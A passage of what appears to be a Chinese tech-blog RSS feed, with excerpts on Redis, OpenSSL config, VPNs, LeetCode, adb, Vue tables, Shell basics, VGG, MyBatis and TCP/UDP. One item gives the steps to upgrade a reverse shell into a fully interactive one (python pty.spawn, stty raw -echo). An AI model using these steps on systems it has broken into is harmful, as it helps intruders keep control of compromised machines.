进行镜像下载：&#xA;docke pull redis 2）容器安装：&#xA;在宿主机上创建redis.conf 配置文件，便于对redis 进行参数设置，创建data 文件夹对redis 的数据进行持久化：&#xA;其中redis.conf 可以参考如下：&#xA;#redis.conf # Redis configuration file example. # ./redis-server /path/to/redis.conf ################################## INCLUDES ################################### #这在你有标准配置模板但是每个redis服务器又需要个性设置的时候很有用。 # include /path/to/local.</description>
    </item>
    <item>
      <title>openssl的 openssl.cnf配置文件详解</title>
      <link>https://bchobby.github.io/posts/b463be3274d3c8462286913a6c79e472/</link>
      <pubDate>Fri, 29 Dec 2023 16:54:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b463be3274d3c8462286913a6c79e472/</guid>
      <description>背景：在上一篇文中，提到要写一篇openssl 配置文件详解的，这就来了~~~&#xA;find / -name openssl.cnf&#xA;/etc/pki/tls/openssl.cnf&#xA;/etc/pki/tls/openssl.cnf，该文件主要设置了证书请求、签名、crl相关的配置。主要相关的伪命令为ca和req。。&#xA;该文件从功能结构上分为4个段落：默认段、ca相关的段、req相关的段、tsa相关的段。每个段中都以name=value的格式定义.&#xA;以下是我将文件分段摘抄出来，并进行解释的：&#xA;默认段： #&#xA;# OpenSSL example configuration file.&#xA;# This is mostly being used for generation of certificate requests.&#xA;#&#xA;# This definition stops the following lines choking if HOME isn&#39;t&#xA;# defined. 定义当前目录变量，以及随机数的文件路径变量&#xA;HOME = .&#xA;RANDFILE = $ENV::HOME/.rnd&#xA;# Extra OBJECT IDENTIFIER info:&#xA;#oid_file = $ENV::HOME/.oid&#xA;oid_section = new_oids&#xA;# To use this configuration file with the &#34;-extfile&#34; option of the</description>
    </item>
    <item>
      <title>IPsec vpn和SSL VPN的详解对比！</title>
      <link>https://bchobby.github.io/posts/dcc3db9a763863f5302dddfffde2ae98/</link>
      <pubDate>Fri, 29 Dec 2023 16:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcc3db9a763863f5302dddfffde2ae98/</guid>
      <description>IPsec（InternetProtocolSecurity）是为IP网络提供安全协议和服务的集合，是VPN（VirtualPrivateNetwork，一种常用于虚拟专用网络的技术。IP数据包在公共网络中传输，如Internet，可能面临被伪造、窃取或篡改的风险，因为IP报文本身没有集成任何安全特性。通信双方通过IPsec建立IPsec隧道，IP数据包通过IPsec隧道进行加密传输，有效保证了Internet等不安全网络环境下数据传输的安全性。&#xA;什么是IPsecVPN?&#xA;VPN（VirtualPrivateNetwork，虚拟专用网）是一种在公用网络上建立专用网络的技术。之所以称之为虚拟网络，主要是因为VPN的两个节点之间并没有像传统的特殊网络那样使用端到端的物理链接，而是构建在Internet等公共网络上的逻辑网络。用户数据通过逻辑链接传输。根据VPN协议，常见的VPN类型有:IPsec、SSL、GRE、PPTP和L2TP等。IPsec是一种通用性很强的VPN技术，适用于各种网络互访场景。IPsecVPN是指利用IPsec实现远程接入的VPN技术，通过在公共网络上建立两个或两个以上私有网络之间的IPsec隧道，并通过加密和验证算法确保VPN连接的安全。&#xA;IPsecVPN&#xA;IPsecVPN保护点对点之间的通信。通过IPsecVPN，可以在主机、主机、网络安全网关之间或网络安全网关之间建立安全隧道连接（如路由器、防火墙）。其协议主要工作在IP层，在IP层对数据包进行加密和验证。IPsecVPN与其它VPN技术相比，安全性更高，数据在IPsec隧道中被加密传输，但是相应的IPsecVPN在配置和组网部署上更加复杂。&#xA;IPsec是如何工作的？&#xA;IPsec的工作原理大致可分为四个阶段：识别“感兴趣流”。网络设备收到报文后，通常会将报文的五元组等信息与IPsec策略相匹配，判断报文是否要通过IPsec隧道传输。需要通过IPsec隧道传输的流量通常被称为“感兴趣流”。协商安全联盟（SecurityAssociation，以下简称SA）。SA是通信双方对某些协商要素的协议，如双方使用的安全协议、数据传输的包装方式、协议使用的加密验证算法、数据传输的密钥等。只有SA建立在通信双方之间，才能进行安全的数据传输。识别出感兴趣流后，本端网络设备会向对端网络设备发起SA协商。在这一阶段，通信双方之间通过IKE协议先协商建立IKESA（用于身份验证和密钥信息交换），然后在IKESA的基础上协商建立IPsecSA（用于数据安全传输）。数据传输。IPsecSA建立成功后，双方就可以通过IPsec隧道传输数据了。IPsec为了保证数据传输的安全性，在这一阶段需要通过AH或ESP协议对数据进行加密和验证。加密机制保证了数据的机密性，防止数据在传输过程中被窃取；验证机制保证了数据的真实性和可靠性，防止了数据在传输过程中被模仿和篡改。如图所示，IPsec发送方会使用加密算法和加密密钥对报文进行加密，即将原始数据“乔装打扮”封装起来。然后发送方和接收方分别通过相同的验证算法和验证密钥对加密后的报文进行处理得到完整性校验值ICV。如果两端计算的ICV相同则表示该报文在传输过程中没有被篡改，接收方对验证通过的报文进行解密处理；如果ICV不相同则直接丢弃报文。IPsec加密验证过程，隧道拆除。通常，通信双方之间的对话老化（连接断开）意味着通信双方的数据交换已经完成。因此，为了节省系统资源，当空闲时间达到一定值时，通信双方之间的隧道将自动删除。&#xA;IPsec的3个重要协议-IKE/AH/ESP&#xA;IKE（InternetKeyExchange，因特网密钥交换），IKE协议是一种基于UDP的应用层协议，它主要用于SA协商和密钥管理。IKE协议分IKEv1和IKEv2两个版本，IKEv2与IKEv1相比，修复了多处公认的密码学方面的安全漏洞，提高了安全性能，同时简化了安全联盟的协商过程，提高了协商效率。IKE协议属于一种混合型协议，它综合了ISAKMP（InternetSecurityAssociationandKeyManagementProtocol）、Oakley协议和SKEME协议这三个协议。其中，ISAKMP定义了IKESA的建立过程，Oakley和SKEME协议的核心是DH（Diffie-Hellman）算法，主要用于在Internet上安全地分发密钥、验证身份，以保证数据传输的安全性。IKESA和IPSecSA需要的加密密钥和验证密钥都是通过DH算法生成的，它还支持密钥动态刷新。&#xA;AH（AuthenticationHeader，认证头）&#xA;AH协议用来对IP报文进行数据源认证和完整性校验，即用来保证传输的IP报文的来源可信和数据不被篡改，但它并不提供加密功能。AH协议在每个数据包的标准IP报文头后面添加一个AH报文头，AH协议对报文的完整性校验的范围是整个IP报文。&#xA;ESP（EncapsulatingSecurityPayload，封装安全载荷）&#xA;ESP协议除了对IP报文进行数据源认证和完整性校验以外，还能对数据进行加密。ESP协议在每一个数据包的标准IP报头后方添加一个ESP报文头，并在数据包后方追加一个ESP尾（ESPTrailer和ESPAuthdata）。ESP协议在传输模式下的数据完整性校验范围不包括IP头，因此它不能保证IP报文头不被篡改。AH和ESP可以单独使用，也可以同时使用。AH和ESP同时使用时，报文会先进行ESP封装，再进行AH封装；IPsec解封装时，先进行AH解封装，再进行ESP解封装。&#xA;IPsec使用的端口&#xA;IPsec中IKE协议采用UDP500端口发起和响应协商，因此为了使IKE协商报文顺利通过网关设备，通常要在网关设备上配置安全策略放开UDP500端口。另外，在IPsecNAT穿越场景下，还需要放开UDP4500端口。而AH和ESP属于网络层协议，不涉及端口。为了使IPsec隧道能正常建立，通常还要在网关设备上配置安全策略放开AH（IP协议号是51）和ESP（IP协议号是50）服务。&#xA;IPsecVPN和SSLVPN对比&#xA;IPsec和SSL是部署VPN时最常用的两种技术，它们都有加密和验证机制保证用户远程接入的安全性。从以下几个方面对IPsecVPN和SSLVPN进行对比：OSI参考模型工作层级OSI定义了网络互连的七层框架：物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。IPsec工作在网络层，它直接运行在IP（InternetProtocol，互联网协议）之上。在应用层中，SSL工作是一种应用层协议，它对HTTP流量进行加密，而不是对IP数据包进行直接加密。&#xA;IPsec和SSL的工作层级&#xA;IPsecVPN的配置部署通常适用于SitetoSite(网站到网站)的组网，要求网站分别部署VPN网关或远程用户安装专用VPN客户端，因此配置部署的复杂性和维护成本都比较高。但SSLVPN通常适用于ClientoSite（客户端到站点）的组网，只要求远程用户使用支持SSL的标准浏览器安装指定插件即可进行访问，通过数据中心部署VPN网关进行集中管理和维护，因此配置部署更简单，维护成本相对较低。&#xA;SSLVPN&#xA;安全性IPSec工作在网络层，对站点间传输的所有数据进行保护。IPSecVPN要求远程用户安装专用的VPN客户端或在网站上部署VPN网关设备，用户访问将受到用户认证规则、安全策略规则或内容安全过滤方面的检查，因此安全性较高。而SSLVPN不要求安装专用客户端或接入站点部署网关设备，更容易受到安全威胁的影响。访问控制IPsec工作在网络层，不能基于应用进行细粒度的访问控制。而且SSLVPN在精细化访问控制方面更加灵活，网络管理员可以根据不同的应用类型将网络资源划分为不同的资源类型，每一类资源的访问权限都不一样。</description>
    </item>
    <item>
      <title>力扣labuladong——一刷day81</title>
      <link>https://bchobby.github.io/posts/92c4b38852284efd84c98ae7b11f224b/</link>
      <pubDate>Fri, 29 Dec 2023 16:37:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92c4b38852284efd84c98ae7b11f224b/</guid>
      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 前言一、力扣990. 等式方程的可满足性 前言 并查集（Union-Find）算法是一个专门针对「动态连通性」的算法，我之前写过两次，因为这个算法的考察频率高，而且它也是最小生成树算法的前置知识，所以我整合了本文，争取一篇文章把这个算法讲明白&#xA;一、力扣990. 等式方程的可满足性 class Solution { public boolean equationsPossible(String[] equations) { if(equations == null || equations.length == 0){ return true; } int n = equations.length; Uf uf = new Uf(27); for(int i = 0; i &amp;lt; n; i ++){ char c1 = equations[i].charAt(1); if(c1 == &#39;=&#39;){ int x = equations[i].charAt(0) - &#39;a&#39;; int y = equations[i].charAt(3) - &#39;a&#39;; uf.union(x,y); } } for(int i = 0; i &amp;lt; n; i ++){ if(equations[i].</description>
    </item>
    <item>
      <title>adb push有中文名的文件到sdcard</title>
      <link>https://bchobby.github.io/posts/3c9b59aa46eb3c9c57b064008034af39/</link>
      <pubDate>Fri, 29 Dec 2023 16:33:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c9b59aa46eb3c9c57b064008034af39/</guid>
      <description>正常我们 adb push xxxx /sdcard/即可&#xA;但如果有中文则要加上双引号&#xA;adb push &#34;c:\\这是中文.jpg&#34; &#34;/sdcard/这是中文.jpg&#34;&#xA;同样 adb pull也是一样的 adb pull &#34;/sdcard/这是中文.jpg&#34; &#34;c:\\这是中文.jpg&#34;&#xA;不用大费周章的去同改adb 的代码，加上双引号就好了！&#xA;c# 在执行中增加&#xA;psi.StandardOutputEncoding = Encoding.UTF8;&#xA;psi.StandardErrorEncoding = Encoding.UTF8;&#xA;可对中文进行捕获&#xA;public static String run_process_without_window(String path, String arg, int time_wait_for_exit = 10000, bool forceDisconnect = false) { string output = &#34;&#34;; try { if (forceDisconnect == false) { if (arg.IndexOf(&#34;disconnect&#34;) != -1) { return arg; } } System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(@path, @arg); psi.</description>
    </item>
    <item>
      <title>双击编辑el-table的单元格数据</title>
      <link>https://bchobby.github.io/posts/1be29be24587e5cc657bc18df9709b9c/</link>
      <pubDate>Fri, 29 Dec 2023 16:29:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1be29be24587e5cc657bc18df9709b9c/</guid>
      <description>(1) el-table刷新要求绑定el-table的key要发生变化才会刷新&#xA;(2) 单元格双击事件 cell-dblclick&#xA;(3) 往row里面添加一个属性来唯一标识某一行的数据，双击时使这特殊属性为true，输入框失去焦点时则设置特殊属性为false，并且输入框的显示与隐藏通过v-if与特殊属性绑定。&#xA;(4) 回车事件 @keyup.enter.native&#xA;&amp;lt;el-table border class=&#34;mt20&#34; :data=&#34;data&#34; style=&#34;width: 100%&#34; row-key=&#34;id&#34; :key=&#34;key&#34; @cell-dblclick=&#34;dblclick&#34;&amp;gt; &amp;lt;el-table-column type=&#34;index&#34; label=&#34;序号&#34; width=&#34;50&#34;&amp;gt; &amp;lt;template slot-scope=&#34;scope&#34;&amp;gt; &amp;lt;span&amp;gt;{{ (search.page -1) * search.size + scope.$index+1 }}&amp;lt;/span&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;id&#34; label=&#34;ID&#34; width=&#34;width&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;name&#34; label=&#34;名称&#34; width=&#34;width&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;lwkx&#34; label=&#34;论文扩写&#34; width=&#34;width&#34;&amp;gt; &amp;lt;template scope=&#34;scope&#34;&amp;gt; &amp;lt;div v-if=&#34;scope.row[scope.column.property+&#39;Show&#39;]&#34; class=&#34;input-box&#34;&amp;gt; &amp;lt;el-input size=&#34;small&#34; @keyup.enter.native=&#34;handleInputlwkx(scope.row,scope.column)&#34; v-model=&#34;scope.row.lwkx&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;span v-else&amp;gt;{{scope.row.lwkx}}&amp;lt;/span&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { key: &#34;</description>
    </item>
    <item>
      <title>Shell 入门</title>
      <link>https://bchobby.github.io/posts/567b96c4ffda48760cd3fbce961805d3/</link>
      <pubDate>Fri, 29 Dec 2023 16:11:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/567b96c4ffda48760cd3fbce961805d3/</guid>
      <description>视频&#xA;Shell概述 本次课程主要包含内容:&#xA;Shell脚本入门Shell变量Shell内置命令Shell运算符与执行运算命令流程控制语句Shell函数Shell重定向Shell好用的工具, cut sed awk sort大厂常见企业面试题 Shell脚本入门 疑问 linux系统是如何操作计算机硬件CPU,内存,磁盘,显示器等?&#xA;答: 使用linux的内核操作计算机的硬件&#xA;Shell介绍 通过编写Shell命令发送给linux内核去执行, 操作就是计算机硬件. 所以Shell命令是用户操作计算机硬件的桥梁,&#xA;Shell是命令, 类似于windows系统Dos命令&#xA;Shell是一个门程序设计语言, Shell里面含有变量, 函数, 逻辑控制语句等等&#xA;Shell脚本 通过Shell命令或程序编程语言编写的Shell文本文件, 这就是Shell脚本 , 也叫Shell程序&#xA;为什么学习Shell脚本? 通过Shell命令与编程语言来提高linux系统的管理工作效率&#xA;Shell的运行过程 当用户下达指令给该操作系统的时候，实际上是把指令告诉shell，经过shell解释，处理后让内核做出相应的动作。 系统的回应和输出的信息也由shell处理，然后显示在用户的屏幕上。&#xA;Shell解析器 查看linux系统centos支持的shell解析器&#xA;cat /etc/shells 效果&#xA;介绍解析器类型&#xA;解析器类型介绍/bin/shBourne Shell,是UNIX最初使用的shell;/bin/bashBourne Again Shell它是Bourne Shell的扩展，简称bash，是LinuxOS默认shell,有灵活和强大的编辑接口，同时又很友好的用户界面，交互性很强；/sbin/nologin未登录解析器, shell设置为/sbin/nologin 是用于控制用户禁止登陆系统的, 有时候有些服务，比如邮件服务，大部分都是用来接收主机的邮件而已，并不需要登陆/bin/dashdash（Debian Almquist Shell），也是一种 Unix shell。它比 Bash 小，只需要较少的磁盘空间，但是它的对话性功能也较少，交互性较差。/bin/cshC Shell是C语言风格Shell/bin/tcsh是C Shell的一个扩展版本。 Centos默认的解析器是bash 语法&#xA;echo $SHELL 含义: 打印输出当前系统环境使用的Shell解析器类型&#xA;echo 用于打印输出数据到终端&#xA;$SHELL 是全局共享的读取解析器类型环境变量, 全局环境变量时所有的Shell程序都可以读取的变量,&#xA;效果&#xA;Shell脚本文件编写规范 脚本文件后缀名规范 shell脚本文件就是一个文本文件, 后缀名建议使用 .</description>
    </item>
    <item>
      <title>【深度学习-图像分类】03 - VGG 论文学习与总结</title>
      <link>https://bchobby.github.io/posts/62e70fc0674f00b7f2c478501040d289/</link>
      <pubDate>Fri, 29 Dec 2023 16:01:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62e70fc0674f00b7f2c478501040d289/</guid>
      <description>论文地址：VERY DEEP CONVOLUTIONAL NETWORKS FOR LARGE-SCALE IMAGE RECOGNITION&#xA;论文学习 1. 摘要 这篇论文探讨了在大规模图像识别任务中，卷积神经网络（ConvNets）深度对其准确性的影响。作者的主要贡献是对不断增加深度的网络进行了全面评估，这些网络使用了非常小的（3x3）卷积滤波器。研究发现，通过将网络深度增加到16到19层，可以显著提高性能，超越了之前的艺术水平配置。（通过卷积神经网络的加深可以显著提高性能）这些发现是作者在2014年ImageNet挑战中提交作品的基础，他们的团队在定位和分类跟踪中分别获得了第一和第二名。此外，作者还展示了他们的表示（网络学到的特征）在其他数据集上也能很好地泛化，并取得了最先进的结果。为了促进深度视觉表示在计算机视觉领域的进一步研究，作者公开了他们表现最好的两个ConvNet模型。（验证通过卷积神经网络结构上的加深可以提高性能这个猜想） 2. 引言 卷积网络的成功应用 引言部分首先强调了卷积网络（ConvNets）在大规模图像和视频识别领域的成功应用。特别提到了一些关键的研究，如Krizhevsky等人在2012年的工作，这些研究标志着深度学习在视觉识别任务中的重要突破。 公共图像库和高性能计算系统的作用 论文提到了大型公共图像库（如ImageNet）和高性能计算系统（如GPU或大规模分布式集群）在推动深度视觉识别架构发展中的作用。 ImageNet挑战赛的影响 引言中还讨论了ImageNet大规模视觉识别挑战（ILSVRC）对于几代大规模图像分类系统的影响，从高维浅层特征编码到深度卷积网络。 卷积网络架构的改进尝试 论文回顾了在Krizhevsky等人的原始架构基础上，为了提高准确性而进行的各种改进尝试，包括调整卷积层的接收窗口大小和步幅，以及在整个图像和多个尺度上密集训练和测试网络。 深度在卷积网络设计中的重要性 引言部分特别强调了深度在卷积网络架构设计中的重要性。论文的主要目标是通过增加更多的卷积层来探索深度的极限，并使用非常小的（3x3）卷积滤波器。 研究动机和目标 论文的动机是验证通过增加网络深度是否能显著提高图像识别的性能。目标是开发出能够在ILSVRC分类和定位任务上取得最先进性能的深度卷积网络架构。 3. ConvNet配置 统一的ConvNet架构设计 论文中所有的ConvNet配置都遵循了一套统一的设计原则。这些原则受到了之前研究的启发，特别是Ciresan等人（2011年）和Krizhevsky等人（2012年）的工作。 架构细节 训练时，ConvNets的输入是固定大小的224x224 RGB图像。唯一的预处理步骤是从每个像素中减去在训练集上计算得到的平均RGB值。图像通过一系列卷积层进行处理，这些层使用非常小的3x3的感受野。在某些配置中，还使用了1x1的卷积滤波器，作为输入通道的线性变换。卷积层之后是一系列最大池化层，但并不是每个卷积层后都跟有池化层。网络的最后是三个全连接层，前两个各有4096个通道，第三个用于1000类ILSVRC分类，因此有1000个通道。 深度和宽度的平衡 论文中的网络深度从11层（网络A）到19层（网络E）不等。卷积层的宽度（通道数）从第一层的64开始，每经过一个最大池化层就翻倍，直到达到512。 网络配置的变体 论文详细描述了几种不同的网络配置（标记为A到E），每种配置都在通用设计的基础上增加了更多的层。这些配置的主要区别在于网络的深度，即卷积层和全连接层的数量。 配置与先前工作的比较 作者讨论了他们的ConvNet配置与之前在ILSVRC-2012和ILSVRC-2013比赛中表现最佳的模型之间的区别。与先前模型相比，本文的网络使用了更小的感受野，并在整个网络中保持了较小的步幅和较多的卷积层。 4. 分类框架 训练细节 训练过程基本遵循了Krizhevsky等人（2012年）的方法，但在从多尺度训练图像中采样输入裁剪方面有所不同。使用小批量梯度下降法进行优化，批量大小设为256，动量为0.9。采用L2权重衰减（权重衰减系数设为5e-4）和前两个全连接层的dropout（dropout比率为0.5）进行正则化。初始学习率设为1e-2，当验证集准确率不再提高时，学习率减少10倍，总共减少3次，学习过程在大约370K次迭代（74个epoch）后停止。 网络初始化 网络权重的初始化非常重要，因为不良的初始化可能导致深度网络中梯度的不稳定。作者首先训练了较浅的网络A，然后使用它来初始化更深网络的部分层。对于随机初始化的层，权重从均值为0、方差为1e-2的正态分布中采样，偏置项初始化为0。 训练图像的尺寸和增强 训练图像首先被等比例缩放，然后从中随机裁剪出224x224的图像作为网络输入。进行了图像水平翻转和随机RGB颜色偏移的数据增强。 多尺度训练 论文考虑了两种设置训练尺度S的方法：固定S和多尺度训练，后者通过从一定范围内随机采样S来模拟不同大小的对象。 5. 分类实验 实验数据集 实验主要在ImageNet Large Scale Visual Recognition Challenge (ILSVRC) 2012数据集上进行，该数据集包含1000个类别，超过120万张训练图像、5万张验证图像和15万张测试图像。 单尺度评估 对不同深度的ConvNet模型在单一尺度上进行评估。测试图像的尺寸被固定，与训练时相同。&#xA;实验结果显示，随着网络深度的增加，分类错误率显著下降。特别是，更深的网络（如配置D和E）比浅层网络有更好的性能。 多尺度评估 在测试时考虑了多个尺度，以提高性能。这包括在不同尺寸的图像上运行模型，并将结果进行平均。使用多尺度评估可以进一步提高分类准确率。 多裁剪评估 除了全图评估外，还使用了多裁剪方法来提高准确率。这种方法包括在图像的不同位置进行裁剪，并对结果进行平均。 ConvNet融合 通过结合多个不同配置的ConvNet模型的输出来提高性能。这种融合方法利用了不同模型的互补性。 与最先进技术的比较 将实验结果与当时的最先进技术进行了比较。论文中的深度ConvNet模型在分类任务上达到了新的最佳性能。 实验结论 实验结果强调了网络深度对于提高大规模图像分类性能的重要性。更深的网络能够学习到更丰富和更具判别性的特征表示。 6.</description>
    </item>
    <item>
      <title>MyBatis之关联查询</title>
      <link>https://bchobby.github.io/posts/9618bf49396df35d91d6c0c1a4270a3b/</link>
      <pubDate>Fri, 29 Dec 2023 16:00:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9618bf49396df35d91d6c0c1a4270a3b/</guid>
      <description>系列文章目录 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加&#xA;MyBatis之关联查询&#xA;提示：写完文章后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 系列文章目录前言一、一对一关联查询二、一对多关联查询三、多对多关联查询总结 前言 提示：这里可以添加本文要记录的大概内容：&#xA;在使用MyBatis进行数据库操作时，关联查询是一种重要的查询方式。它能够在一个查询中同时检索多个表中的数据，从而提高查询效率和性能。在开始学习和使用MyBatis的关联查询之前，我们需要先了解一些基础概念和知识，包括数据库表、实体类、Mapper接口和Mapper.xml文件等。&#xA;在接下来的博客文章中，我们将逐步学习如何使用MyBatis进行关联查询，并通过示例代码演示如何实现多对一和一对多的关联查询。希望通过这些介绍，你能够掌握MyBatis关联查询的基本知识和技能，并能够在实际项目中应用这些知识。&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、一对一关联查询 在 MyBatis 中，一对一关联查询是指通过在查询语句中使用连接（JOIN）操作，从多个表中获取相关联的数据。这样可以一次性获取到涉及多个表的数据，避免了多次查询和手动关联的麻烦。&#xA;一对一关联查询通常涉及到两个表，其中一个表包含主要数据，称为“主表”，另一个表包含与主表关联的数据，称为“从表”。在关联查询中，通过在主表和从表之间建立连接条件，可以将相关的数据关联起来。&#xA;在 MyBatis 的映射文件中，可以使用标签来配置一对一关联查询。以下是一个简单的示例：&#xA;&amp;lt;resultMap id=&#34;studentMapper&#34; type=&#34;com.zhangsan.pojo.Student&#34;&amp;gt; &amp;lt;!-- 主键列 --&amp;gt; &amp;lt;id property=&#34;sid&#34; column=&#34;sid&#34;&amp;gt;&amp;lt;/id&amp;gt; &amp;lt;!-- 普通列 --&amp;gt; &amp;lt;result property=&#34;name&#34; column=&#34;name&#34;&amp;gt;&amp;lt;/result&amp;gt; &amp;lt;result property=&#34;age&#34; column=&#34;age&#34;&amp;gt;&amp;lt;/result&amp;gt; &amp;lt;result property=&#34;sex&#34; column=&#34;sex&#34;&amp;gt;&amp;lt;/result&amp;gt; &amp;lt;!-- 一对一对象列 property:属性名 column:关联列名 javaType：对象类型--&amp;gt; &amp;lt;association property=&#34;classes&#34; column=&#34;classId&#34; javaType=&#34;com.zhangsan.pojo.Classes&#34;&amp;gt; &amp;lt;!-- 关联对象主键列 --&amp;gt; &amp;lt;id property=&#34;cid&#34; column=&#34;cid&#34;&amp;gt;&amp;lt;/id&amp;gt; &amp;lt;!-- 关联对象普通列 --&amp;gt; &amp;lt;result property=&#34;className&#34; column=&#34;className&#34;&amp;gt;&amp;lt;/result&amp;gt; &amp;lt;/association&amp;gt; &amp;lt;/resultMap&amp;gt; &amp;lt;!-- 多表查询，级联查询学生和其班级 --&amp;gt; &amp;lt;select id=&#34;findAll&#34; resultMap=&#34;studentMapper&#34;&amp;gt; select * from student left join classes on student.</description>
    </item>
    <item>
      <title>反弹shell升级全交互式shell</title>
      <link>https://bchobby.github.io/posts/89403dde88b17d92bd8e53ddfe2e99b9/</link>
      <pubDate>Fri, 29 Dec 2023 15:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89403dde88b17d92bd8e53ddfe2e99b9/</guid>
      <description>反弹shell升级全交互式shell 1、获取反弹shell（过程略）2、升级到半交互式shell3、升级到全交互式shell4、重复上面的步骤，获取全交互式shell 1、获取反弹shell（过程略） 2、升级到半交互式shell python -c &#39;import pty;pty.spawn(&#34;/bin/bash&#34;)&#39; 半交互式shell问题：1、vi编辑文件不方便；2、命令行上下左右乱码；3、不能补全等&#xA;3、升级到全交互式shell echo $TERM Ctrl+Z stty raw -echo fg reset tmux-256color 此时有个问题，输入reset之后回车会乱码^M。查看系统使用的shell解析器，需要改为bash并重启系统。&#xA;echo $SHELL chsh -s /bin/bash reboot 4、重复上面的步骤，获取全交互式shell python -c &#39;import pty;pty.spawn(&#34;/bin/bash&#34;)&#39; Ctrl+Z stty raw -echo fg reset tmux-256color Mark 一下</description>
    </item>
    <item>
      <title>移动端手签-图片base64旋转功能</title>
      <link>https://bchobby.github.io/posts/7aa72503f0091c66f7fe4674d107de8a/</link>
      <pubDate>Fri, 29 Dec 2023 15:47:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7aa72503f0091c66f7fe4674d107de8a/</guid>
      <description>记录一个方法用于移动端横屏画布的旋转图片功能。&#xA;核心代码：&#xA;rotateBase64(data) { return new Promise((resolve) =&amp;gt; { const imgView = new Image(); imgView.src = data; const canvas = document.createElement(&#39;canvas&#39;); const context = canvas.getContext(&#39;2d&#39;); const cutCoor = { sx: 0, sy: 0, ex: 0, ey: 0 }; // 裁剪坐标 imgView.onload = () =&amp;gt; { const imgW = imgView.width; const imgH = imgView.height; const size = imgH; canvas.width = size * 2; canvas.height = size * 2; cutCoor.sx = size; cutCoor.</description>
    </item>
    <item>
      <title>TCP/UDP协议</title>
      <link>https://bchobby.github.io/posts/551e18b101fe5afcbe182f8d67bdab72/</link>
      <pubDate>Fri, 29 Dec 2023 15:44:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/551e18b101fe5afcbe182f8d67bdab72/</guid>
      <description>1. 请解释TCP和UDP的主要区别。 TCP和UDP都是位于传输层的协议，具有不同的特点和应用场景。以下是它们的主要区别：&#xA;连接方式：TCP是面向连接的协议，这意味着在数据传输之前需要先建立连接。这通常通过三次握手来建立连接，以确保通信双方都已准备好。而UDP是无连接的，即在发送数据之前不需要建立连接。&#xA;可靠性：TCP提供了可靠的数据传输服务。它通过使用确认、重传和流量控制等机制来确保数据的完整性和正确性。与此相反，UDP是不可靠的，它不保证数据的完整性或正确性。&#xA;传输速度：由于TCP需要进行各种检查和确认，其传输速度可能相对较慢。而UDP由于没有这些额外的机制，因此在传输速度上通常更快。&#xA;应用场景：TCP通常用于需要高可靠性的应用，如Web服务器、电子邮件和文件传输等。而UDP则常用于对实时性要求较高的应用，如视频流、在线游戏和VoIP通话等。&#xA;数据流量控制：TCP有流量控制机制，可以避免数据传输过快导致的问题。而UDP没有流量控制功能，因此可能会导致数据丢失或网络拥塞。&#xA;数据包顺序：TCP保证数据包的顺序，即数据包会按照发送的顺序到达接收端。而UDP则不保证数据包的顺序，数据包可能会乱序到达接收端。&#xA;头部开销：TCP的头部开销较大，因为它需要携带更多的信息来保证可靠性。而UDP的头部开销较小，这使得其在传输小数据包时更为高效。&#xA;2. TCP协议是如何保证数据的可靠性的？ TCP协议保证数据传输可靠性的方式主要有以下几种：&#xA;校验和：TCP在数据传输过程中，将每个发送的数据包进行校验和计算，并将结果添加到数据包头部。接收方在接收到数据包后，会对数据包进行校验和的验证，如果发现校验和不匹配，就会向发送方发送错误报告。&#xA;序列号确认应答：TCP为每个字节分配一个序列号，接收方会对序列号进行检查并确认应答，以此来确保数据的完整性和正确性。&#xA;超时重传：如果发送方在规定时间内没有收到接收方的确认应答，就会认为该数据包已丢失或损坏，进而进行超时重传。&#xA;连接管理：TCP通过三次握手来建立连接，并采用四次挥手来终止连接，这种方式可以确保连接的可靠性。&#xA;流量控制和拥塞控制：TCP通过流量控制机制来避免数据传输过快导致的问题，同时，通过拥塞控制机制来避免网络拥塞，这两者都有助于保障数据的可靠传输。&#xA;3. TCP协议是如何实现流量控制的？ TCP协议实现流量控制的主要机制是滑动窗口。在TCP的数据传输过程中，发送方会持续地维护一个叫做“窗口”的数据结构，而接收方也会维护一个类似的数据结构。这两个“窗口”分别代表了发送方和接收方可以接收或发送的数据量。&#xA;当发送方需要向接收方发送数据时，它会先查看自己的窗口。如果窗口允许，那么它就会将一部分数据发出去。一旦这些数据被发送出去，窗口就会相应地缩小。&#xA;同时，接收方会根据自己的处理能力来动态调整其窗口的大小。如果接收方发现自己处理不过来了，那么它就会通过TCP协议告诉发送方，让自己的窗口变小一些。&#xA;此外，网络中的拥塞状况也会影响到发送方一次可以向接收方发送的TCP报文段的大小和数量。具体来说，无论处于流量控制还是拥塞控制的目的，发送方的发送速率总是受到两者中较小一者的限制。&#xA;总的来说，TCP协议通过这种动态调整窗口大小的方式，实现了对数据传输速度和流量的有效控制，从而避免了因网络拥塞而导致的数据包丢失和网络堵塞的现象。&#xA;4. TCP协议是如何实现拥塞控制的？ 